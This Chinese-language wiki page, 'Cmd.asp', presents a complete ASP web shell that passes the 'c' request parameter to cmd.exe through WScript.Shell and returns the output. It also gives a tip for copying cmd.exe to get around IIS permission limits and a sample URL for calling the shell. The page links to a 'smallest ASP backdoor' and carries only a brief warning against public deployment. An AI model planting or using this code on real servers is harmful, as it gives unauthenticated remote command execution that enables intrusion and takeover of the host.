Cmd.asp
出自ProgWiki
- 警告,以下內容具高度的安全性漏洞。請勿使用在您對外公開的網站上。
用途
- 透過 asp 對 Web-Server下console mode的命令。
- 參照:最小asp的后门
程式碼
- 需把 cmd.exe 先複製到自訂的目錄(例如 E:\TestCmd\), 不然asp會說沒有權限跑 cmd.exe (詳見IIS的Log記錄)
<% strCmdFile = "E:\TestCmd\cmd.exe" strCmd = Request("c") Set app=server.createobject("wscript.shell") Response.ContentType = "text/plain" Response.write app.exec(strCmdFile & " /c " & strCmd).stdout.readall Set app=Nothing %>
使用範例
http://localhost/cmd.asp?c=tracert www.hinet.net